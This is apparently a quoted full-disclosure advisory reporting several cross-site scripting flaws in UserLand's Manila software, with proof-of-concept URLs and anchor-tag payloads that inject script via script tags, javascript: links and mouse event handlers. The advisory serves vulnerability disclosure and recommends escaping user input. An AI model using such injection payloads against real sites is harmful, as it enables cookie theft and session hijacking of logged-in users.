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>
> Multiple XSS bugs in manila.
> To: manila-bugs@userland.com
>
> Authors:
> Michael Bauer <mihi@lo-res.org>, Aaron Kaplan <aaron@lo-res.org>
>
> This bugs will be reported to you and released to the public 10
> days after
> submission to userland.com, as we strongly believe in full disclosure.
>
> Software:
> manila
> Vendor:
> userland.com
> Versions tested :
> <meta name="generator" content="UserLand Frontier 9.0.1">
>
> Overview:
>
> Manila is vulnerable to several XSS injections which can be abused
> to steal a cookie from a logged in user. This means taking over his
> session
> doing stuff in his name.
>
>
> Details:
>
> In the module "msgReader"
> --------------------------
> proof of concept:
> http://manila.userland.com/discuss/msgReader$1?mode=%22%3E%
> 3Cscript%3Eale
> rt('XSS!')%3C/script%3E
>
> in the module "sendMail":
> --------------------------
> proof of concept:
> http://profiles.userland.com/sendMai...2500&referer=%
> 22%3E%3Cscrip
> t%3Ealert('xss')%3C/script%3E
>
> in the module "editInBrowser"
> -----------------------------
> explanation:
> it is possible to use <a> and other html tags to put
> javascript
> instructions into the webpage examples:
> <a href=javascript:alert('xss!')>click here</a>
> <a href=# onmouseover="alert('xss!')">click here</a>
> <a href=# onmouseout="alert('xss!')">click here</a>
>
> demo can be seen on http://mana.manila.at/discuss/msgReader
> $15?mode=day
> as we got an account there.
>
> Workaround:
> htmlescape all user input! if you want to accept html as input
> write your own html parser for a limited html subset.
>
> Disclaimer:
>
> For educational purposes only, we are not responsible to any harm
> produced
> by the security hole we published.
>